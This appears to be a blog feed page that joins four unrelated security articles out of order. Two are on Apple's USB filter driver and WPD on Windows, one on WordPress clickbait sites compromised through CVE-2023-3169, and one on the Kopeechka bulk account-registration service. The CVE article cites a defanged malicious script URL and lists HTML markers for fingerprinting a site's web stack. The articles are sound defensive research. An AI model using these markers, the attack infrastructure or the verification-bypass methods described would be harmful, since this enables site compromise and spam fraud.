安裝驅動程序包後，微軟將詳細說明以下步驟。設備將重新啟動，重啟後，PnP管理器識別設備的功能驅動程序和任何可選的過濾器驅動程序，構建設備堆棧，在該樣本中，FDO是Usbccgp和LowerFiDO是AppleLowerFilter，並通過調用DriverEntry例程啟動設備，為任何尚未加載的所需驅動程序。然後為每個驅動程序調用AddDevice例程，從低過濾驅動程序開始，然後是函數驅動程序。如果需要，將分配資源，PnP管理器將IRP_MN_START_DEVICE發送給設備的驅動程序。

USB低級過濾器工作原理介紹了AppleLowerFilter的枚舉和安裝背後的理論之後，我們現在將仔細研究驅動程序是如何工作的，以及它在Windows設備上啟用Apple設備功能時所起的作用。

作為一個WDF驅動程序，PnP調用DriverEntry的第一步是初始化框架並綁定WDF版本(在本例中為WDF 1.15)。一旦完成，框架將調用我們的DriverEntry函數，在AppleLowerFilter的情況下，他們的驅動項將簡單地創建一個驅動對象，並在WDF_DRIVER_CONFIG中只設置一個AddDevice例程。 AppleLowerFilter的AddDevice例程將進行如下操作：

1.通過調用WdfFdoInitSetFilter將自己標識為FiDO；

2.為事件註冊PnP和電源管理回調：

EvtDevicePrepareHardware；

EvtDeviceReleaseHardware；

EvtDeviceD0Entry；

EvtDeviceD0Exit；

3.為IRP設置兩個IRP預處理回調：

IRP_MJ_PNP；

IRP_MJ_INTERNAL_DEVICE_CONTROL；

4.使用名為FILTER_EXTENSION（sizeof==0x50）的上下文類型信息創建一個DO；

本文不深入討論WDF框架的所有細節，但鼓勵每個人都深入研究Github上的源代碼。它是一個設計良好的軟件，使編寫驅動程序變得更加容易和直觀，因此研究代碼是一個很好的練習。

在上電序列（ power-up sequence）中，下一步是為上電準備硬件，這意味著調用過濾器註冊的EvtDevicePrepareHardware回調。這可能是AppleLowerFilter中最有趣的步驟。

Callback的第一步是檢索USB描述符，這是通過被稱為GetUsbDeviceDescriptor的函數完成的。此函數用於檢索USB設備的USB設備描述符。這是通過為URB (USB請求塊)分配內存並使用URB_FUNCTION_GET_DESCRIPTOR_FROM_DEVICE類型完成的，這是一個從USB設備檢索描述符的請求。被請求的描述符是USB_DEVICE_DESCRIPTOR_TYPE，它提供有關USB設備的信息，如其供應商和產品id、設備類和協議。該函數同步提交URB以檢索描述符。

對於大多數與USB相關的操作，蘋果使用usbdlib，這有點令人不可思議，因為這是一個WDF驅動程序，他們可以使用wdfusb標頭，簡化事情。

然後，驅動程序將bNumConfigurations存儲到FILTER_EXTENSION上下文中，並繼續調用我認為是該驅動程序的主要函數GetPreferredConfig。在描述其內部結構之前，先看一下這個函數的簡單偽代碼:

2.png

該函數將首先檢查設備的配置數是否為1。如果是，則將首選配置設置為1；如果沒有，代碼將發送一個URB來檢索首選配置；如果URB請求失敗，則首選配置為3。然後代碼在FilterCtx結構中設置DeviceConfig字段。然後，它檢查QueryAppleSoftwarePresent函數是否返回false(表示未安裝AppleSoftware)，如果是，則將首選配置設置為1。然後，代碼檢查首選配置是否大於或等於設備描述符中指定的配置數；如果是，則將首選配置設置為最大配置數。最後，如果首選配置大於或等於5，則代碼返回5。

在這個函數中有幾個關鍵點，首先突出的是getdeviceconfigure函數，該函數將為URB分配內存，設置URB以發出特定於供應商的控制請求，然後將URB同步提交給USB驅動程序堆棧。正在進行的特定供應商請求是請求類型為69的控制傳輸和包含一個字節數據的傳輸緩衝區。

3.png

選擇首選配置的下一個關鍵點是QueryAppleSoftwarePresent函數，這個函數起著很大的作用，因為它的返回值將決定我們是否總是被限制為只有一個首選配置。這個函數將做以下事情:

4.png

回到GetPreferredConfig函數，這個值起著很大的作用，因為這個函數返回的數字將用於覆蓋設備註冊表項中的OriginalConfigurationValue。

注意：GetPreferredConfig返回的值將被減去1，因為OriginalConfigurationValue描述的註冊表值對應於usb定義的配置索引，由配置描述符(USB_CONFIGURATION_DESCRIPTOR)的bConfigurationValue成員指示，而不是由設備配置描述符中報告的bConfigurationNum值表示。

我們剛剛看到的是為什麼即使INF在OriginalConfigurationValue中寫入值2，如果你將iPhone插入沒有安裝iTunes的PC，你會在註冊表中看到以下內容:

5.jpg

在註冊表中設置OriginalConfigurationValue之後，EvtDevicePrepareHardware函數將調用wdfusbtargetdevicecrecreate來創建USB目標設備對象。 USB目標設備對象表示底層USB設備，並為驅動程序與設備通信提供了一種方式。

為了定期檢查首選配置，該函數設置了一個WDFTIMER。計時器的回調函數將被定期調用，以檢查首選配置是否已更改。如果首選配置已更改，則函數將調用WdfUsbTargetDeviceCyclePortSynchronously，以便意外刪除並重新枚舉設備，從而使用新配置進行加載。

計時器的周期設置為0，因此框架不會調用計時器。另一方面，過濾器將在計時器的回調函數和D0Entry回調中調用WdfTimerStart, DueTime為5s(相對於當前系統時間)。

現在讓我們看看這兩個IRP預處理回調，以獲得驅動程序工作流的全貌。 IRP的預處理允許驅動程序在將IRP發送到默認處理程序或堆棧中的另一個驅動程序之前修改或重定向IRP。

首先看一下內部設備控制請求的處理程序。該函數將檢查IRP是否為IOCTL_INTERNAL_USB_SUBMIT_URB請求，以選擇USB配置。如果是，函數將獲得設備的句柄，轉發IRP，然後檢索USB接口的管道句柄。 Interrupt、BulkIn和BulkOut的管道句柄將存儲在設備上下文中。

現在讓我們看一下PnP IRPs預處理的處理程序。在本文的示例中，句柄將處理兩種情況：IRP_MN_QUERY_DEVICE_RELATIONS 和IRP_MN_QUERY_ID。

QueryID IRP的情況非常簡單，函數將檢查FilterCtx-DeviceConfig(記住這個值是通過供應商特定的URB獲得的)是否被設置為1，如果是，函數將字符串RESTORE_MODE附加到BusQueryHardwareIDs和BusQueryDeviceID請求返回的信息中。

另一方面，querydevicerrelation更有趣一些。首先，這個處理程序只會在某個計時器沒有運行並且設備上安裝了Apple Software的情況下執行。它將只處理BusRelations IRP，它將同步轉發請求並檢查狀態是否成功。如果返回任何信息，它將在返回的設備對象列表中查找其CompatibleId包含USB\Class_06的設備。如果找到了，它會取消對這個DO的引用，然後將其從列表中刪除並更新設備計數，這樣即使usbccgp為WPD設備創建了PDO, PnP也不會看到這個DO，因為返回的列表中沒有它。不久，我們將看到低級過濾器如何處理這一點。

如果找到了類6的設備，那麼該函數將根據DbgPrints設置另一個WDF定時器，我們將其稱為PtpTimer，它在5秒後被觸發。當觸發回調時，將在deviceContext中設置一個標誌，因此QueryDeviceRelations處理程序不再處理請求，將檢查iTunes是否存在，如果存在，它將發送以下一組PTP/MTP操作請求包到USB設備。

OpenSession - OperationCode:0x1002；

vendoreextensionoperationcode:0x9008；

CloseSession - OperationCode:0x1003；

下面的USB數據包捕獲說明了這些操作的執行，注意它們是如何在該端口上捕獲大約5秒後發生的。

6.jpg

儘管嘗試了所有的手段來獲得操作0x9008的更多信息，但似乎沒有任何關於它的蘋果設備的信息。所能得到的最好結果是ChatGPT說“PTP/MTP數據包中的操作命令0x9008通常對應於“Apple Device Info”命令”。不幸的是，當要求提供證明這一點的文檔/引用時，而聊天給到的每個鏈接要么是無效的，要么是不可用的/廢棄的蘋果文檔。給定名稱“蘋果設備信息”，筆者認為它類似於PTP/MTP命令“GetDeviceInfo”，但在設備命令0x9008上嘗試的每個測試似乎都沒有數據階段，所以最好的猜測是，要么不是“設備信息”命令，要么蘋果設備不再響應該命令。

7.jpg

最後，在發送PTP/MTP請求後，PtpTimer將調用IoInvalidateDeviceRelations，其關係類型為BusRelation，這將觸發一個新的IRP QueryDeviceRelations，但由於這次計時器已經執行，處理程序不會從設備列表中刪除WPD設備。這次PnP管理器我們會看到WPD設備的PDO並開始為它構建堆棧。下圖顯示了通過將LowerFilter添加到堆棧中並跟踪Pre和Post捕獲的這種行為，IRP由AppleLowerFilter處理。

8.jpg

目前猜測是帶有operationCode0x9008的PTP包以某種方式，通知設備iTunes存在於主機上或這些行周圍的東西。除此之外，沒有註意到WPD設備在安裝iTunes或沒有安裝iTunes的情況下有任何不同的行為，除了WPD設備實際顯示需要5秒鐘。從設備的LowerFilters列表中刪除AppleLowerFilter似乎對WPD設備的行為沒有任何重大影響。

這幾乎就是AppleLowerFilter的行為方式，可以看到它主要在設備初始化期間工作，除了檢查活動配置的計時器每5秒在後台運行一次之外，查看端口時必須重新舉例。

HireHackking

Unit42-blog-2by1-characters-r4d1-2020_Cyber-squatting-v2.png

自2023年8月底以來，研究人員觀察到專門用於標題黨和廣告內容的受攻擊服務器顯著增加。但為什麼這樣的網站對攻擊者來說如此有吸引力呢？主要因為這些網站的設計是為了接觸到大量潛在的受害者。此外，標題黨網站經常使用過時或未修復的軟件，這使得它們很容易受到攻擊。

本文足以讓你了解標題黨文章的危險性。文中討論了標題黨網站如何增加流量以獲得廣告收入，研究人員回顧了一種基於其網絡流量特徵，來檢測易受攻擊標題黨網站的策略。最後，本文還闡述了基於CVE-2023-3169漏洞的標題黨網站數量激增的趨勢分析。

標題黨網站和廣告流量標題黨旨在讓讀者點擊一個可疑的網絡內容鏈接。專門從事標題黨內容的網站存在的唯一目的是產生廣告收入，因此，標題黨網站的網頁包含大量攻擊性廣告。

點擊誘餌需要大量的瀏覽量來產生廣告收入，所以這些網站通常使用以下三種策略來增加流量。

常青的話題；

內容髮現平台；

生成人工智能(AI)工具；

常青的話題增加流量的一個策略是關注常青話題。常青話題指的是與特定時間或地點無關的話題，人們一直覺得它們很有趣。例如，金融和衛生被認為是常青的話題。圖1和圖2顯示了來自標題黨網站的兩個示例頁面：

1.jpeg

金融主題標題黨文章的例子

2.jpeg

健康主題標題黨文章的例子

內容髮現平台由於標題黨內容本身是通過廣告傳播的，許多標題黨網站還依靠第二種策略來增加流量：內容髮現平台。

新聞機構和其他內容提供商使用內容髮現平台來創收，標題黨提供商經常使用這些服務來為他們自己的內容增加流量。

內容髮現平台經常使用技術來偽裝廣告。其中一種方法被稱為原生廣告，此方法將廣告內容配置為與其所在網站的外觀相似，瀏覽者很難區分網站的原創內容和廣告內容。下圖顯示了出現在新聞網站上的原生廣告示例：

3.png

原生廣告出現在新聞網站的例子

在上圖中，研究人員添加了一個紅色箭頭，指向hxxps://gofindyou[.]com/health/what-causes-plaque-psoriasis-heres-what-doctors-need-you-to-know的標題黨內容，快速檢查發現這個網站至少運行了一個過時的軟件。來自網頁的HTML代碼表明它使用了用於Yoast SEO的WordPress插件，如下圖所示：

4.jpeg

一個標題黨頁面顯示Yoast SEO插件v20.8的HTML代碼

顯示Yoast SEO插件20.8版本的HTML最初發佈於2023年5月23日。上圖所示的網頁是在2023年10月27日提供的，當時Yoast SEO插件的最新版本是21.4，這個插件已經過時。

研究人員經常發現帶有過時軟件或插件的標題黨網站。這種特殊情況不意味著存在任何特定的漏洞，但過時的軟件可能比完全打過補丁的版本更容易受到攻擊。

生成人工智能工具標題黨作者的最新策略是使用Jasper和AIPRM等生成式人工智能工具，這些工具提供了一種簡單的方法來生成seo優化的內容，以增加網站流量。

攻擊者經常濫用、利用或破壞合法產品以達到惡意目的，但這並不一定意味著濫用合法產品的缺陷或質量問題。

一個示例是在hxxps://delhiproduct[.]info/top-24-earn-money-with-paid-online-surveys 上用ChatGPT寫的一篇文章，在本例中，該網站是一個運行MonsterInsights插件（版本8.1.0）的過時版本的WordPress網站，如下圖所示：

5.jpeg

delhipproductinfo[.]com的HTML顯示了過時的MonsterInsights插件

截至2023年10月3日，MonsterInsights插件的最新版本是8.20.1，這意味著8.1.0版本至少已經過時兩年了。該插件的8.1.0版本也容易受到存儲跨站攻擊。

查找易受攻擊的網站要攻擊任何網站，攻擊者必須知道該網站的web服務器使用的web堆棧。這些數據包括操作系統、web內容管理軟件(CMS)以及任何相關的插件和主題。

攻擊者使用web堆棧數據來確定服務器是否運行任何過時的軟件或應用程序，有了這些信息，攻擊者可以很容易地找到公開的漏洞和利用來破壞網站。

研究人員如何確定服務器的web堆棧？研究人員可以通過網站的URL模式、HTML內容和功能來發現這些信息，網頁的外觀和感覺也可以提供線索。

接下來介紹一些指標，這些指標可以顯示網站的部分web堆棧。

/wp-content/或/wp-includes/：URL或網頁的HTML代碼中的任何一個字符串都表示關聯的網站可能使用WordPress。

wp-content/themes/Newspaper/style.css?ver=11.4.1 ：在網頁的HTML代碼中，此字符串表示網站使用tagDiv的WordPress報紙主題，報紙版本為11.4.1。

!-- This site uses the Google Analytics by MonsterInsights plugin v8.1.0 - Using Analytics tracking - https://www.monsterinsights[.]com/--：網頁HTML代碼中的這條評論表明該網站使用了WordPress的MonsterInsights插件。插件信息的註釋在大多數情況下都是準確的。

在確認利用CVE-2023-3169時，前兩種技術可能會有所幫助。

利用CVE-2023-31692023年9月11日，MITRE發布了CVE-2023-3169，該漏洞在與WordPress的Composer插件一起使用時會影響tagDiv的Newspaper和Newsmag主題，已經有數千個WordPress網站因該漏洞而被攻擊。

Unit 42團隊成員監控Palo Alto Networks的遙測惡意活動，這些數據包括網頁中HTML代碼的指示符及其關聯的URL。根據這些數據，我們通過存在惡意腳本和其他指標來確認一個受攻擊的網站。

之前的研究表明，利用CVE-2023-3169後，通過Balada注入器攻擊了數千個易受攻擊的網站。根據這項研究，受此攻擊的網站從以下位置生成加載惡意內容的頁面：

hxxps://stay[.]decentralappps[.]com/src/page.js

研究人員的數據證實了這一發現，分析發現與CVE-2023-3169相關的受攻擊WordPress網站在2023年8月底開始激增。

在兩個月的時間裡，研究人員發現了大約10300個被攻擊的WordPress網站。下面圖表說明了研究人員檢測到的這個峰值。

6.png

研究人員通過CVE-2023-3169竊取的WordPress網站數據

如下圖所示，這些受攻擊的網站中有很大一部分是標題黨或廣告網站。調查發現，標題黨和廣告佔檢測30%以上，在這30%的網站中，至少80%的網站使用了tagDiv的Newspaper主題，另外6%的網站使用了tagDiv的Newsmag主題。

注入腳本示例下圖顯示了2023年10月初的一個示例，其中一個受攻擊網站將惡意腳本注入到網頁中，注入的腳本以黃色突出顯示。

7.png

在WordPress網站的網頁上註入腳本的示例

這個混淆的腳本使用表示ASCII字符的十進制值，將這些數字轉換為ASCII文本會顯示惡意腳本，如下圖所示：

8.png

從上圖中突出顯示的文本解碼的惡意腳本

上圖中解碼的腳本包含相同的hxxps://stay[.] decentralapps [.]com/src/page.js URL，在之前的報告中提到了使用Balada注入器利用CVE-2023-3169的活動。

標題黨和廣告網站的趨勢研究人員使用Cortex Xpanse和其他工具跟踪分析了漏洞趨勢。除了CVE-2023-3169之外，研究人員還跟踪受其他漏洞影響的網站。

在2023年9月15日至22日的樣本分析中，研究人員監控了1600個隨機選擇的WordPress網站的數據集，有用戶試圖訪問受攻擊的網站。

結果顯示，與其他類別相比，流量黨和廣告網站的受害比例接近三比一。下圖顯示了研究人員每週檢測的平均值：

9.png

檢測受攻擊WordPress網站

無論是來自CVE-2023-3169還是其他漏洞，與其他類別相比，受攻擊的標題黨和廣告網站的數量都始終更高。

總結當研究人員通過分析被攻擊網站的指標時，通過與其他類別相比，研究人員依舊看到大量被攻擊的標題黨和廣告網站。

這些網站通常使用過時或未修復的軟件，有可能觸及大量受害者，使其成為攻擊者的誘人目標。因此，標題黨文章本身就存在風險，讀者應該意識到這種風險，並相應地調整他們的瀏覽習慣。

HireHackking

蘋果USB低級過濾器，可幫助控制操作系統使用USB配置（上）

PTP還是MTP？本文中，我們將重點討論為什麼iphone沒有像我們期望的使用MTP協議的設備那樣提供一整套存儲操作，還將研究USB接口類/子類和WPD_DEVICE_PROTOCOL屬性之間不匹配的原因。為了回答這些問題，我們將了解如何創建WPD設備、如何“掛載”存儲以及如何設置WPD屬性。

首先對比一下使用PTP連接的Android設備和iPhone之間WPD設備協議屬性的差異：

9.jpg

考慮到iPhone中的WPD協議屬性，我們期望有一組更豐富的選項來與設備交互，可以通過查看設備的接口描述符來快速回答為什麼iPhone表現為PTP設備。

iPhone和小米在PTP和MTP模式下的描述如下：iPhone有多種配置，但無論選擇哪一種，創建WPD的接口PDO總是包含類6和子類1的接口。

10.png

儘管已經回答了最大的問題，但仍然有一些細節，比如為什麼iPhone不允許創建或複制任何東西到它，而另一方面，小米即使使用PTP也允許創建對象，所以對於喜歡深入了解事物的人來說，僅僅瀏覽界面描述是不夠的。

由於此描述符將生成CompatibleId USB\Class_06SubClass_01Prot_01，因此尋找與此ID匹配的INF，我們找到wpdmtp.inf。在此INF中，可以獲得WPD設備的UMDF部分的以下組件：

WpdMtp.dll:MTP核心協議組件；

WpdMtpUS.dll：Usbscan MTP驅動程序的傳輸層；

WpdMtpDr.dll：Windows便攜式設備媒體傳輸協議驅動程序；

作為內核方面的一部分，INF將添加WinUSB.sys作為LowerFilter，並添加反射器WUDFRd.sys作為函數驅動程序。

從上面提到的三個二進製文件中，WpdMtpDr是將在WUDFHost中運行的主要WPD MTP驅動程序。這是一個UMDFv1驅動程序，它將基於COM並用C++編寫，基於WpdWudfSampleDriver，幾乎就不需要逆轉，但該驅動程序沒有更新為使用UMDFv2，因為UMDFv1幾乎已經被棄用，並且幾乎不支持新功能。

11.jpg

如上所述，入口點是OnDeviceAdd例程。在這個函數中，創建了CDevice對象，它將我們帶到CDevice:OnPrepareHardware例程，在該例程中，通過調用WpdBaseDriver:Initialize來初始化WpdBaseDriver。不幸的是，這是Sample代碼和WpdMtpDr開始出現差異的部分。示例代碼沒有真正的設備可以通信，但在本文的示例中，WpdMtp.dll的作用所在，充當WpdMtpDr和真正設備之間的粘合劑。 MTP核心庫包含CMtpDevice類，它表示真實的設備。在WpdBaseDriver初始化期間，加載MTP核心庫，並打開與設備的會話，如以下簡化代碼片段所示：

11.png

加載MTP核心模塊後，觸發初始化例程來檢索MTP DeviceInfo Dataset。這是發送到設備的初始MTP請求之一，DeviceInfo結構在其返回時填充。值得注意的是，該結構包含關鍵信息，如模型、製造商和各種MTP版本標識符。這些信息在稍後設置WPD屬性時起著至關重要的作用。

MTP核心發送請求並將響應解析為CDeviceInfo結構，而WpdMtpDr利用緩存系統存儲指向WpdMtp返回的類的COM指針。這種方法可以防止頻繁地向設備重新發出PTP/MTP請求，從而優化I/O操作。

下面的堆棧顯示了這個函數第一次被調用:

12.png

在UM中，WPD應用程序通常使用WPD API構建WPD命令，WPD API將序列化該WPD命令並將其打包到IOCTL請求中，這將到達驅動程序，驅動程序將反序列化命令並相應地採取行動。

一旦設備準備好接收I/O操作，操作系統將嘗試檢索WPD設備屬性，該信息存在於device objectID中(此objectID是預定義的，始終表示device對象)。這個請求將到達WPD驅動程序，它將用CDeviceInfo的信息填充WPD設備屬性。對於WPD_DEVICE_PROTOCOL的情況，該值將如何設置:

13.png

現在如果看一下iPhone返回的DeviceInfo Dataset，可以看VendorExtId和VendorExtVersion，可以最終回答為什麼WPD_DEVICE_PROTOCOL被設置為MTP 15.20。 MICROSOFT_VENDOR_EXT_ID是由MS作為WMDRM協議的一部分定義的，這是MTP響應器需要在DeviceInfo Dataset中設置的值之一，以告訴MTP啟動器它支持AAVT，令人驚訝的是，iPhone只添加了這個必需的值，而不是其他值。

14.jpg

該屬性將在函數CDevicePropContext:GetDeviceType上檢索，該函數將使用SetupAPI獲得compatibleid，無論協議是PTP還是MTP，設備中的每個存儲對象(由以s開頭的storageid表示)都有自己的屬性。同樣，當設備上開始I/O操作時，操作系統使用兩個關鍵操作從存儲對像中檢索信息:getstorageid (0x1004)(檢索storageid列表)和GetStorageInfo (0x1005)(定義存儲對象的行為方式)。我們將重點關注後者，因為它返回一個包含以下三個關鍵字段的StorageInfo數據集。

存儲類型

文件系統類型

訪問功能

當WPD驅動程序第一次嘗試獲取設備的StorageInfo時，該請求將通過MTP核心模塊。該模塊向設備發送PTP/MTP操作請求，並將結果StorageInfo數據集返回給驅動程序。

15.png

因此，如果看一下iPhone是如何響應這個請求的，將能夠根據上面提到的三個字段來確定Storage對象的行為。

16.jpg

我們可以從上圖得到以下信息：存儲類型==固定RAM，這是相當標準的移動設備。文件系統類型==DCF, DCF代表Camera FS的設計規則，你可以會從著名的DCIM根目錄中認出它。 DCF標准定義了在目錄和文件上設置只讀屬性的選項。訪問能力==只讀，不能刪除對象，這是致命的。這將定義對Storage對象的訪問限制，操作系統將遵守這些限制。例如，這將影響iPhone的上下文菜單中顯示的選項。

這就是為什麼iPhone上的文件選項如此有限。為了便於比較，下圖顯示了使用PTP插入小米設備時的StorageInfo數據集。

17.jpg

事實證明，這就是為什麼即使使用PTP協議連接，也能夠在小米設備上創建對象的原因。然而，值得注意的是小米的MTP響應器似乎有問題，無論在設備上選擇PTP還是MTP，在響應GetStorageInfo請求時都會返回相同的Dataset，至少在紅米Note 8模型上是這樣。

這樣，我們就可以更清楚地理解Apple設備的運行方式，以及如何為設備配置WPD屬性。

蘋果軟件對蘋果設備棧的影響接下來總結一下，當我們在主機上安裝iTunes時會發生什麼，以及它是如何實現諸如從設備複製文件之類的操作的。

如上所述，由於Storage對像中的限制，WPD API將僅在iPhone上提供有限的操作子集，然而，當安裝iTunes後，它增加了一個不同的層，可以更全面地訪問設備。

正如我們在AppleLowerFilter中看到的，一旦iTunes被安裝，它將允許設備選擇一個不同的USB配置描述符。沒有iTunes，我們被限制在配置1，另一方面，一旦iTunes被默認安裝，選擇的配置將是3。以下是這兩種配置及其接口：

18.png

選擇配置3，將使usbccgp生成deviceID USB\VID_xxxxPID_yyyyMI_01(01從bInterfaceNumber中提取)。這些deviceid是在appleusb中定義的。它定義了以下文件的副本：

19.png

這兩個驅動程序將成為被蘋果公司稱為“蘋果移動設備USB設備”設備的一部分，該設備使用專有協議而不是MTP或PTP與iPhone進行通信，可以通過查看libimobiledevice的源代碼來了解有關該協議的更多信息。一旦驅動程序安裝並運行，iTunes本身就會使用標準WPD API調用和定制的蘋果特定命令的組合與iPhone進行通信。這使得iTunes能夠提供從設備中復製文件、管理應用程序和備份以及更新設備固件等功能。

下圖提供了iPhone的整個設備堆棧的簡化概述，包括安裝iTunes和創建AppleUsbMux設備的場景：

20.jpg

總結在本文中，我們探討了蘋果的USB低級過濾器是如何在Windows設備上工作的，以及它在提供不同體驗方面的作用，還深入研究了Windows便攜式設備(WPD)和用戶模式驅動程序框架(UMDF)等主題，以更好地理解蘋果設備堆棧的內部工作原理。

我們談到WPD設備是如何初始化和設置的，這幫助我們了解了為什麼WPD設備協議屬性和Apple設備中接口描述符定義的類之間存在不匹配。我們還研究了WPD設備的Storage對像是如何設置的，以及它如何在不使用第三方軟件的情況下在iPhone上操作的限制中發揮作用。最後，我們簡要討論了安裝iTunes對蘋果移動設備棧的影響，以及iTunes如何妥善管理設備內容。

蘋果希望保護某些信息，限制與iPhone存儲交互的現成選項，但如果有一個更混合的解決方案，用戶可以在一定的限制下擁有更大的靈活性。雖然iTunes為管理iPhone內容提供了一個強大的解決方案，但有時安裝第三方軟件可能不是一個選擇。然而，隨著iTunes最近作為微軟商店應用程序的發布，這種限制可能會減少。

HireHackking

Thumbnail_Kopeechka_Medium.webp.jpg

近年來，攻擊者變得越來越專業，他們鑽研技能，以求犯更少的關鍵錯誤，並創建了各種即插即用業務，幫助低技能的攻擊者發起詐騙和攻擊。

目前存在不同類型的攻擊服務，包括惡意軟件即服務，攻擊者開發並向其他攻擊者出售惡意軟件服務，該服務還包括在被攻擊的主機上創建和傳播勒索軟件等惡意軟件類型。同時，其他服務需要使用多個社交媒體帳戶才能成功進行，例如虛假信息、垃圾郵件和惡意軟件傳播。

事實上，攻擊者在社交媒體平台上使用數千個賬戶發送數千條垃圾郵件並不罕見。但是他們是如何做到自動化的呢？

最近，Kopeechka服務出現，促進了依賴大規模社交媒體垃圾郵件的攻擊活動。在俄語中，“kopeechka”的意思是“便士”。

該服務自2019年初以來一直活躍，為流行的社交媒體平台提供簡單的賬戶註冊服務，包括Instagram、Telegram、Facebook和X(以前的Twitter)。我們還注意到，針對未成年人的聊天網站可以通過Kopeechka進行註冊。

本文介紹了Kopeechka服務，並對該服務的特性和功能進行了詳細的技術分析，以及它如何幫助攻擊者實現其目標。

社交媒體平台如何確保賬戶創建過程的安全大多數社交媒體平台都採取了積極措施來加強賬戶創建的安全性。由於許多攻擊者在社交媒體平台上創建賬戶用於非法活動，社交媒體公司為了將攻擊者在其平台上的風險降至最低，故選擇從賬戶創建過程開始。

有不同的安全措施來保護平台，防止欺詐賬戶的創建，例如：

1.電子郵件地址驗證。註冊時，用戶需要證明所提供的電子郵件地址是否存在，這通常是通過代碼確認完成的，其中用戶通過電子郵件接收唯一的URL或代碼。一旦他們選擇這個鏈接或輸入代碼，他們的帳戶就會被驗證。

2.電話號碼驗證。這裡的目標是迫使用戶提供一個可以由社交媒體平台驗證的真實電話號碼，通常是通過發送一條帶有用戶需要在平台上輸入的代碼的文本消息。

3.驗證碼保護。儘管存在不同類型的captcha，但目標始終是相同的：驗證用戶是真人而不是機器人。通常情況下，用戶需要回答自動解決程序無法回答的問題。

4.IP地址信譽。這裡的目標是確定用戶的IP地址是否乾淨，並且不是來自代理、虛擬專用網絡(VPN)或任何其他匿名解決方案。

根據目標社交平台的不同，攻擊者需要唯一的電子郵件地址、唯一的電話號碼和無可疑的IP地址才能成功創建自己的賬戶。

雖然一些社交媒體平台使用驗證碼來阻止自動註冊，但這並沒有給攻擊者帶來很大的障礙，因為現在存在不同的服務，允許攻擊者以自動方式繞過驗證碼。 IP地址檢查服務也是如此，因為攻擊者可以使用住宅代理繞過這些措施。

因此，攻擊者可以使用自動腳本繞過驗證碼和IP地址信譽檢查工具。但是，他們仍然需要一個有效的電子郵件，可能還需要為他們想要創建的每個帳戶提供一個電話號碼，這就需要用到Kopeechka了。

Kopeechka運行過程Kopeechka不提供電子郵件收件箱的訪問權限，但它可以訪問從社交媒體平台收到的電子郵件。該服務的設計使郵箱帳戶仍然由Kopeechka控制，而不是由任何第三方用戶控制。

Kopeechka提供兩種不同類型的電子郵件：使用自己域名的電子郵件地址，以及託管在更受歡迎的電子郵件託管服務上的電子郵件地址。

Kopeechka表示它當前庫存的有效電子郵件數量，如表1所示：

1.jpg

截至2023年5月底，Kopeechka庫存的有效電子郵件地址數量

目前，這些電子郵件地址要么是由Kopeechka使用者自己創建的，要么可能是被攻擊的電子郵件收件箱。 Kopeechka還購買電子郵件帳戶，如下圖所示：

2.png

Kopeechka購買電子郵件地址可能用於非法用途

在撰寫本文時，該服務還提供了託管在其擁有的39個域名中的幾個電子郵件地址。

3.png

Kopeechka的電子郵件域名

Kopeechka(圖2)與流行域名(表1)的定價不同，後者比前者更昂貴(在撰寫本文時，Kopeechka域名的成本為0.05盧布或0.0005美元，一些流行域名的成本高達盧布1或0.01美元)。

Kopeechka是如何工作的？ Kopeechka為其客戶提供web界面和API 4.png

Kopeechka的網絡界面，如Kopeechka的宣傳視頻所示

如上圖所示，web界面允許用戶使用購買的電子郵件地址輕鬆創建社交媒體帳戶，而API使用戶更容易自動創建多個社交媒體帳戶。

對於Kopeechka目前還無法搜索的社交媒體平台，用戶可以使用Kopeechka的API。

5.jpg

用戶如何通過使用Kopeechka API在新的社交媒體平台上獲得一個有效的帳戶

下載所有這些過程都可以完全自動化，這可以讓攻擊者在幾秒鐘內創建數百個甚至更多的賬戶，只要他們的Kopeechka賬戶裡有足夠的錢。

無法訪問實際的郵箱Kopeechka實際上不提供訪問實際郵箱的權限。當用戶請求郵箱創建社交媒體帳戶時，他們只能獲得電子郵件地址參考和包含確認碼或URL的特定電子郵件。這對於Kopeechka服務至關重要，因為它允許Kopeechka使用者使用一個電子郵件地址在不同的社交媒體平台上進行多次註冊，如下圖所示：

6.jpg

在不同的社交媒體平台上多個用戶可以使用一個唯一的電子郵件地址創建賬戶

短信的作用某些社交媒體平台還包括一個帳戶驗證步驟，需要一個電話號碼，他們將使用該電話號碼發送包含唯一代碼的短信，用戶需要在平台上輸入代碼才能成功註冊。

為了解決這個問題，Kopeechka允許用戶從16種不同的在線短信服務中進行選擇。與它的所有服務一樣，Kopeechka提供了視頻教程，以及每種服務的描述及其工作原理。

7.png

Kopeechka與16種不同的在線短信服務合作

Kopeechka的市場營銷和客戶服務除了宣傳其服務外，Kopeechka還通過不斷與用戶溝通和提供服務發生的任何事情(包括網絡問題和bug通知)的透明度來培養客戶忠誠度。 Kopeechka提供提示，完整的教程，甚至補償它的客戶。

Kopeechka使用者與他們的客戶就最近修復的漏洞進行了溝通，並為客戶的損失提供了賠償。

8.png

總而言之，Kopeechka似乎在處理客戶溝通方面採取了專業的方法，它使用了一種名為Bitrix24的客戶關係管理(CRM)工具來滿足其銷售、營銷和項目管理需求。 Kopeechka使用該軟件的原因可能是，Bitrix24每個客戶使用了一個子域，我們發現了一個現有的“kopeechkstore . Bitrix24 .ru”子域，該子域至少自2019年以來一直活躍。

Kopeechka還提供在線視頻、常見問題解答(FAQ)和描述該服務如何工作的專用頁面。客戶可以在該平台的客戶培訓中心這裡測試自己的賬戶創建和日誌記錄技能這讓用戶可以免費試用這項服務。

9.png

培訓中心主頁的英文截圖

Kopeechka還提供了一個正則表達式測試平台，它可以更好地匹配電子郵件中的文本，以防用戶訂閱特殊的服務。

與其他俄羅斯在線服務合作對於那些想要自動化賬戶註冊過程，但又不熟練使用API的用戶，Kopeechka鼓勵他們使用第三方俄羅斯服務ZennoPoster，該服務自2011年以來一直很活躍。

10.png

Kopeechka鼓勵用戶使用ZennoLab，並將給他們5%的退款，ZennoPoster是ZennoLab的產品。

ZennoPoster允許用戶通過像腳本一樣在瀏覽器上執行多次操作來自動執行瀏覽器操作，Kopeechka用戶可以使用ZennoPoster作為自動註冊系統。

11.png

ZennoPoster工具用於自動瀏覽操作的屏幕截圖

幾個在線話題解釋瞭如何使用ZennoPoster和Kopeechka在不同的社交媒體平台上註冊帳戶，其中一個示例是使用ZennoPoster和Kopeechka在俄羅斯約會網站“mylove.ru”上創建一個帳戶。

12.png

Kopeechka提供了使用ZennoPoster註冊mylove.ru帳戶的支持

